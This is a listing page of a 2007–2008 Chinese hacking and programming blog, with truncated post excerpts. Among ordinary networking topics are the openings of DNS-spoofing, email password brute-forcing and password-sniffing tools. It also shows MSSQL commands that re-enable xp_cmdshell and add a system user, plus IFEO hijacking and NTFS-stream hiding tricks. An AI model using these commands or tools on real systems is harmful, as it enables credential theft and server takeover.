头文件与源文件

头文件的功能? (1)通过头文件来调用库功能。在很多场合,源代码不便(或不准)向用户公布,只要向用户提供头文件和二进制的库即可。用户只需要按照头文件中的接口声明来调用库功能,而不必关心接口怎么实现的。编译器会从库中提取相应的代码。(2)头文件能加强类型安全检查。如果某个接口被实现或被使用时,其方式与头文件中的声明不一致,编译器就会指出错误,这一简单的规则能大大减轻程序员调试、改错的负担。头文件用来存放函数原型。 头文件如何来关联源文件? ??? 这个问题实际上是说,已知头文件“a.h”声明了一系列函数(仅有函数原型,没有函数实现),“b.cpp”中实现了这些函数,那么如果...
默认分类 | 2008-02-24 15:39 | 阅读 3471 次 | 评论 0 条

印象劫持及其防治

什么是印象劫持? 所谓的IFEO就是"Image File Execution Options" 都是注册表中的这个项惹得祸(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options). 由于这个项主要是用来调试程序用的,对一般用户意义不大(默认是只有管理员和local system有权读写修改)。原理说简单点就是因为NT在收到文件执行请求时,会先检查文件是否是可执行的(关键就在这里,会检查对应文件的相关映射!这时在ifeo中的内容将被调用)然后再检查...
默认分类 | 2008-01-24 22:38 | 阅读 3891 次 | 评论 0 条

[Winpcap]DNS欺骗

//DNS欺骗工具//By RedIce//E-mail:redice@see.xidian.edu.cn//http://redice.1.suhai.com.cn#include <pcap.h>int k=1;/*物理帧头结构*/typedef struct { BYTE DesMAC[6];//目的MAC地址 BYTE SrcMAC[6];//源MAC地址 USHORT Ethertype;//帧类型}DLC_Header;//IP报头结构typedef struct { BYTE h_len; //IP版本号+IP头长度(单位:4字节) BYTE t...
默认分类 | 2008-01-21 11:07 | 阅读 4753 次 | 评论 0 条

恢复被病毒修改的Web文件-HtmlRecover

今天上网,不幸中毒。最遭的时我的机器上有2000多个Web文件都被病毒插入了恶意代码,形如“<IFRAME. SRC="http://un.uiiiu.com/baidu.htm" WIDTH=0 HEIGHT=0></IFRAME>”(注:千万别点那个链接)。这下可麻烦了,这其中有很多是我辛辛苦苦写的系统,如果靠手工慢慢修改的话,不知道要花多长时间。于是只好写程序了....无奈 于是就有了这个东西的诞生,我称它"HtmlRecover",呵呵 其实 名字无所谓,只要好用就行...反正我那2000多个文件是恢复了。 开源吧!如果有朋友也遇到过这种情...
默认分类 | 2008-01-16 17:59 | 阅读 2285 次 | 评论 4 条

E-mail密码暴力破解器-POP3

昨天发了一个用SMTP实现email帐号密码破解的工具,感觉不太理想(很多smtp服务器都有错误次数限制,动不动就限制IP)。后来查了一些资料,发现用pop3实现起来比较简单,而且我测试过没有出现限IP的情况出现。不过,由于是单线程,速度不是很快的... 发出来,共享吧。 //E-mail密码暴力破解器-POP3//By RedIce//E-mail:redice@see.xidian.edu.cn#include <stdio.h>#include <winsock2.h>#pragma comment(lib,"ws2_32.lib") FILE *FileOpr; SOCKET...
默认分类 | 2008-01-16 11:38 | 阅读 3827 次 | 评论 1 条

E-mail密码暴力破解器-SMTP

原理:使用了SMTP验证检测 觉得效果不是太理想,过段时间,我再换成POP3验证检测试试,应该效果比这个好 还是那句话,别用来干坏事呀,我可不负责任。按照惯例,先给个截图: 下面是代码://E-mail密码暴力破解器//By RedIce//E-mail:redice@see.xidian.edu.cn#include <stdio.h>#include <winsock2.h>#pragma comment(lib,"ws2_32.lib") char* ch64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01...
默认分类 | 2008-01-15 22:52 | 阅读 3527 次 | 评论 3 条

[Socket]HTTP报文提交工具

以前曾用VB6.0写过一个灌水工具,用了WinSock控件。不过我还是喜欢命令行的工具。最近正学习套接字,于是就用C重写了这个工具。功能比以前那个更大。用来学习HTTP协议或者用来灌水都是相当不错的(呵呵,别骂我...) 先发个截图 关于程序的使用方法,帮助里面有。按照老样子,开源: //HTTP报文提交工具 By RedIce//E-mail:redice@see.xidian.edu.cn//http://redice.1.suhai.com.cn#include <winsock2.h> //Winsock API头文件#include <stdio.h>#include...
默认分类 | 2008-01-09 20:33 | 阅读 3249 次 | 评论 0 条

[WinPcap]ADSL路由器+校内网密码嗅探器

ADSL路由器密码+校内网([url]http://www.xiaonei.com[/url])密码嗅探器 说明:该程序使用WinPcap开发。仅用以学习交流,本人不承担使用该程序造成的一切责任。 如果你是WinPacp新手,请先看看我的这篇《WinPacp开发“准备活动”》 http://hi.bc-cn.net/112902/viewspace-8772 先发个截图: 以下是源代码: //By RedIce//E-mail:redice@see.xidian.edu.cn//http://redice.1.suhai.com.cn#include <pcap.h>in...
默认分类 | 2008-01-08 11:10 | 阅读 5410 次 | 评论 10 条

WinPcap开发“准备活动”

WinPcap开发“准备活动” //By:RedIce//E-Mail:redice@see.xidian.edu.cn//http://redice.1.suhai.com.cn 要进行WinPcap开发,首先你需要做如下“准备活动” (1)到http://www.winpcap.org/ 下载WinPcap驱动程序和WinPcap开发包(WinPcap Developer's Packs)。然后安装WinPcap驱动程序。将WinPcap开发包解压缩,并将其中的Include目录和Lib目录放置到一个比较正式的位置,因为在我们的下面我们将引用这些头文件和库文件。 下载地址: ...
默认分类 | 2008-01-06 15:08 | 阅读 3367 次 | 评论 0 条

[总结]TCP/IP各种数据包结构体

下面这些TCP/IP数据包是我在进行Socket及Wipcap网络编程过程中曾经用到过的数据包结构体, 这些东西平时看起来不起眼,真正用到的时候就会觉得非常有用....../*物理帧头结构*/typedef struct {?? BYTE? desmac[6]; //目的MAC地址?? BYTE? srcmac[6]; //源MAC地址??USHORT? ethertype; //帧类型}Dlc_Header;??????/*IP报头结构*/typedef struct? {?BYTE? h_len_ver; ?//IP版本号(高4位)及以32比特为单位的IP包头部的长度(低四位)?BY...
TCP/IP | 2008-01-04 11:09 | 阅读 10962 次 | 评论 0 条

网络字节序与主机字节序

在网络上存在不同的系统,在不同的系统中存储数据时所采用的字节排列顺是不同的,有的系统是高位在内存高位,低位在内存低位,而有的系统则刚好相反。例如:我在Intel cpu (WinXp)上做了如下测试:void main(){ int a=0x1234;}查看内存发现:0x0012ff7c存放的是34而0x0012ff7d存放的是12,这就是小端序,而网络字节序采用的是大端序,即高位存放于低地址,低位存放于高地址。 实现字节序转化的函数有以下几个:U_long htonl(U_long hostlong)将无符号长整型数从主机字节序转化为网络字节序u_short htos(u_shor...
TCP/IP | 2008-01-04 10:42 | 阅读 4381 次 | 评论 0 条

C语言模拟Ping

最近在学习TCP/IP协议。在以前套接字基础上又学习了原始套接字的使用。并喜欢上了这个东西-因为它功能太强大了。 下面是我用原始套接字实现的Ping.exe命令这是运行后的效果(嘿嘿,还真相Ping程序,哈哈) //Ping模拟 By RedIce//E-mail:redice@see.xidian.edu.cn//http://redice.1.suhai.com.cn#include <winsock2.h> //Winsock API头文件#include <stdio.h>#include <stdlib.h>#pragma comment(lib,"ws2_32.lib"...
TCP/IP | 2007-12-23 01:41 | 阅读 4638 次 | 评论 2 条

得到Sa密码后-MsSql提权命令

昨日行幸得一Sa密码为Sa的Sql Server服务器。于是决定提权...... 下面是我用到的提权命令,放在这里以备将来只用. 一 系统Shell 恢复xp_cmdshellExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 使用xp_cmdshell添加用户exec xp_cmdshell 'net user user1 /add' 利用OLE对象接口,SQL SERVER提供了一些函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,可以利用他们调用OLE控件,间接获取一个shell...
默认分类 | 2007-12-14 13:23 | 阅读 18031 次 | 评论 0 条

QQ登录号码输入框消失-病毒模拟

今天在论坛看到一位朋友说他的QQ登录号码输入框没见了,并且发上来了一个截图。其实,要实现这也不能。想起以前学习API时用到过一个函数叫ShowWindow。函数声明为: Declare Function ShowWindow Lib "user32" Alias "ShowWindow" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long 第一个参数hwnd是一个窗口句柄(广义的窗口包括控件),第二个参数取不同的值可以实现不同的效果。其中当它为0时,就可以用来隐藏一个窗体,取5时可以显示一个窗口。 我做了如下的模拟:打开QQ.e...
默认分类 | 2007-12-14 13:06 | 阅读 2575 次 | 评论 4 条

asp 乱码解决方法小结

  乱码其实并不是什么问题,asp/php/jsp都有。我想所有转换编码的地方都会碰到。一般来说从头到尾始终使用同一种编码方式就 不会有乱码。数据库使用的GBK编码,页面就也指定使用GBK编码。同样,数据库使用unicode编码,页面就请使用utf-8编码。如果出 现乱码,肯定有地方使用了错误的编码格式。用asp举例,如果你发现浏览页面的时候出现乱码。你可以尝试一下步骤:确保你页面本身编码格式正确:例如test.asp中使用charset=utf-8,那么请先确保这个文件本身就是Utf-8编码的。你可以利用记事 本进行转换。同样如果使用charset=GBK,请先确保这个文件本...
转载 | 2007-12-08 23:40 | 阅读 2263 次 | 评论 0 条

禁止搜索引擎收录的方法

什么是robots.txt文件? 搜索引擎通过一种程序robot(又称spider),自动访问互联网上的网页并获取网页信息。 您可以在您的网站中创建一个纯文本文件robots.txt,在这个文件中声明该网站中不想被robot访问的部分,这样,该网站的部分或全部内容就可以不被搜索引擎收录了,或者指定搜索引擎只收录指定的内容。 robots.txt文件放在哪里? robots.txt文件应该放在网站根目录下。举例来说,当robots访问一个网站(比如http://www.abc.com)时,首先会检查该网站中是否存在http://www.abc.com/robots.txt这个文件,如果机...
默认分类 | 2007-12-08 23:10 | 阅读 2269 次 | 评论 0 条

禁止搜索引擎收录的方法

什么是robots.txt文件? 搜索引擎通过一种程序robot(又称spider),自动访问互联网上的网页并获取网页信息。 您可以在您的网站中创建一个纯文本文件robots.txt,在这个文件中声明该网站中不想被robot访问的部分,这样,该网站的部分或全部内容就可以不被搜索引擎收录了,或者指定搜索引擎只收录指定的内容。 robots.txt文件放在哪里? robots.txt文件应该放在网站根目录下。举例来说,当robots访问一个网站(比如http://www.abc.com)时,首先会检查该网站中是否存在http://www.abc.com/robots.txt这个文件,如果机...
默认分类 | 2007-12-08 23:10 | 阅读 782 次 | 评论 0 条

NTFS文件流的利用

NTFS文件流的利用 一 隐藏信息 在任一NTFS 分区下打开CMD,执行命令“echo abcde>>a.txt:b.txt” 则在当前目录下生成一个名为a.txt的文件。但文件的大小 为0。用记事本打开也没有任何内容。只有当我们执行notepad.exe a.txt:b.txt才能看到刚才写入的"abcde" 二 隐藏文件 命令格式为: type 文件名+后缀>>任意文件名(任意后缀):任意文件名(原文件后缀) 打开文件时如果打开文件的程序不是系统自带的则要加上文件完整的路径。三 捆绑可执行文件 捆绑命令和上面的一样,打开的时候需要用命令:start 流文件路径...
默认分类 | 2007-12-08 11:40 | 阅读 2442 次 | 评论 0 条

备份恢复IP设置-NetSh命令

1 备份IP配置信息 命令格式:netsh -c interface ip dump >c:\ip.txt2 导入以前备份的信息 命令格式:netsh -f c:\ip.txt
默认分类 | 2007-12-08 11:35 | 阅读 1601 次 | 评论 0 条

什么是数字证书?

什么是数字证书? 由于Internet网电子商务系统技术使在网上购物的顾客能够极其方便轻松地获得商家和企业的信息,但同时也增加了对某些敏感或有价值的数据被滥用的风险. 为了保证互联网上电子交易及支付的安全性,保密性等,防范交易及支付过程中的欺诈行为,必须在网上建立一种信任机制。这就要求参加电子商务的买方和卖方都必须拥有合法的身份,并且在网上能够有效无误的被进行验证。数字证书是一种权威性的电子文档。它提供了一种在Internet上验证您身份的方式,其作用类似于司机的驾驶执照或日常生活中的身份证。它是由一个由权威机构----CA证书授权(Certificate Authority)中心发...
转载 | 2007-12-08 11:33 | 阅读 2084 次 | 评论 0 条
浏览576250次